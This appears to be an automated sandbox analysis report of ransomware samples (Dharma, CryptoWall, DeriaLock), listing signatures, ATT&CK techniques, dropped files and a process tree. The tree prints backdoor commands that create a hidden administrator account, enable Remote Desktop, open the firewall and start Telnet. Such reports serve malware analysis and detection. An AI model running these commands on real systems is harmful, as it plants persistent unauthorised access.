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240512-2hr9lsgd3zAnalysis
- max time kernel
247s - max time network
247s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
12/05/2024, 22:41
General
- Target https://github.com/Da2dalus/The-MALWARE-Repo/tree/master/Ransomware
- Sample240512-2mlydsbe49
Score
9/10
Malware Config
Signatures
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Sets service image path in registry 2 TTPs 9 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 3 IoCs
- Executes dropped EXE 12 IoCs
- Adds Run key to start application 2 TTPs 4 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry class 31 IoCs
- NTFS ADS 5 IoCs
- Runs net.exe
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 32 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/Da2dalus/The-MALWARE-Repo/tree/master/Ransomware1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe403346f8,0x7ffe40334708,0x7ffe403347182⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:22⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 /prefetch:32⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2800 /prefetch:82⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5248 /prefetch:82⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5248 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5376 /prefetch:82⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6076 /prefetch:82⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5924 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1448 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3212 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4840 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5704 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5064 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3060 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5924 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5912 /prefetch:82⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5696 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6224 /prefetch:22⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6280 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5636 /prefetch:82⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5520 /prefetch:12⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4780 /prefetch:82⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5628 /prefetch:82⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2180,8475017557779975513,3284115690102242996,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3128 /prefetch:82⤵
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C:\Users\Admin\Downloads\Dharma.exe"C:\Users\Admin\Downloads\Dharma.exe"2⤵
- Executes dropped EXE
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C:\Users\Admin\Downloads\Dharma.exe"C:\Users\Admin\Downloads\Dharma.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
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C:\Users\Admin\Downloads\ac\nc123.exe"C:\Users\Admin\Downloads\ac\nc123.exe"3⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
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C:\Users\Admin\Downloads\ac\mssql.exe"C:\Users\Admin\Downloads\ac\mssql.exe"3⤵
- Sets service image path in registry
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\Downloads\ac\mssql2.exe"C:\Users\Admin\Downloads\ac\mssql2.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\Shadow.bat" "3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\systembackup.bat" "3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="4⤵
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C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value5⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\find.exeFind "="5⤵
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C:\Windows\SysWOW64\net.exenet user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"4⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"5⤵
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C:\Windows\SysWOW64\net.exenet localgroup Administrators systembackup /add4⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators systembackup /add5⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="4⤵
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C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value5⤵
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C:\Windows\SysWOW64\find.exeFind "="5⤵
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C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" systembackup /add4⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" systembackup /add5⤵
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C:\Windows\SysWOW64\net.exenet accounts /forcelogoff:no /maxpwage:unlimited4⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited5⤵
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C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f4⤵
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C:\Windows\SysWOW64\reg.exereg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f4⤵
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C:\Windows\SysWOW64\reg.exereg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f4⤵
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C:\Windows\SysWOW64\attrib.exeattrib C:\users\systembackup +r +a +s +h4⤵
- Sets file to hidden
- Views/modifies file attributes
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C:\Windows\SysWOW64\netsh.exenetsh firewall add portopening TCP 3389 "Remote Desktop"4⤵
- Modifies Windows Firewall
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C:\Windows\SysWOW64\sc.exesc config tlntsvr start=auto4⤵
- Launches sc.exe
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C:\Windows\SysWOW64\net.exenet start Telnet4⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start Telnet5⤵
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C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe"C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe"3⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\Downloads\Dharma.exe"C:\Users\Admin\Downloads\Dharma.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
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C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
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C:\Users\Admin\Downloads\CryptoWall.exe"C:\Users\Admin\Downloads\CryptoWall.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: MapViewOfSection
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C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"2⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: MapViewOfSection
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C:\Windows\SysWOW64\svchost.exe-k netsvcs3⤵
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C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\Downloads\CryptoWall.exe"C:\Users\Admin\Downloads\CryptoWall.exe"1⤵
- Executes dropped EXE
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C:\Users\Admin\Downloads\CryptoWall.exe"C:\Users\Admin\Downloads\CryptoWall.exe"1⤵
- Executes dropped EXE
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C:\Users\Admin\Downloads\CryptoWall.exe"C:\Users\Admin\Downloads\CryptoWall.exe"1⤵
- Executes dropped EXE
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops startup file
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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C:\Users\Admin\Downloads\DeriaLock.exe"C:\Users\Admin\Downloads\DeriaLock.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\explorer.exeexplorer.exe1⤵
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding1⤵
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
- Modifies registry class
Network
MITRE ATT&CK Enterprise v15
Persistence
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
3Replay Monitor
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Downloads
settings.dat
settings.dat
the-real-index
Network Persistent State
Preferences
Preferences
Preferences
Preferences
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity~RFe579c7e.TMP
CURRENT
Local State
Local State
Local State
Local State
Local State
Local State
Unconfirmed 143466.crdownload
Unconfirmed 515308.crdownload
Unconfirmed 532033.crdownload
Unconfirmed 532033.crdownload:SmartScreen
Unconfirmed 875045.crdownload
1sass.exe
LogDelete.exe
Everything.ini
SearchHost.exe
Shadow.bat
mssql.exe
mssql2.exe
nc123.exe
rqqtiwtyllkyagj.sys
systembackup.bat
unlocker.exe
memory/2252-866-0x0000000140000000-0x0000000140ACB000-memory.dmp
memory/2252-868-0x0000000140000000-0x0000000140ACB000-memory.dmp
memory/2488-212-0x0000000000350000-0x0000000000375000-memory.dmp
memory/2780-344-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/2780-336-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/2780-345-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/2780-343-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/2780-346-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/2780-337-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/2780-335-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/2780-342-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/2780-347-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/2780-341-0x000001BB351F0000-0x000001BB351F1000-memory.dmp
memory/3192-398-0x0000000004CF0000-0x0000000004CFA000-memory.dmp
memory/3192-394-0x0000000000280000-0x0000000000302000-memory.dmp
memory/3192-397-0x0000000004DE0000-0x0000000004E72000-memory.dmp
memory/3192-396-0x0000000005390000-0x0000000005934000-memory.dmp
memory/3192-395-0x0000000004D40000-0x0000000004DDC000-memory.dmp
memory/3192-399-0x0000000004EE0000-0x0000000004F36000-memory.dmp
memory/5052-213-0x0000000000EA0000-0x0000000000EC5000-memory.dmp
memory/5052-199-0x0000000000EA0000-0x0000000000EC5000-memory.dmp
memory/5080-800-0x0000000000400000-0x0000000000B02000-memory.dmp
memory/5080-867-0x0000000000400000-0x0000000000B02000-memory.dmp
memory/5080-870-0x0000000000400000-0x0000000000B02000-memory.dmp
memory/5080-872-0x0000000000400000-0x0000000000B02000-memory.dmp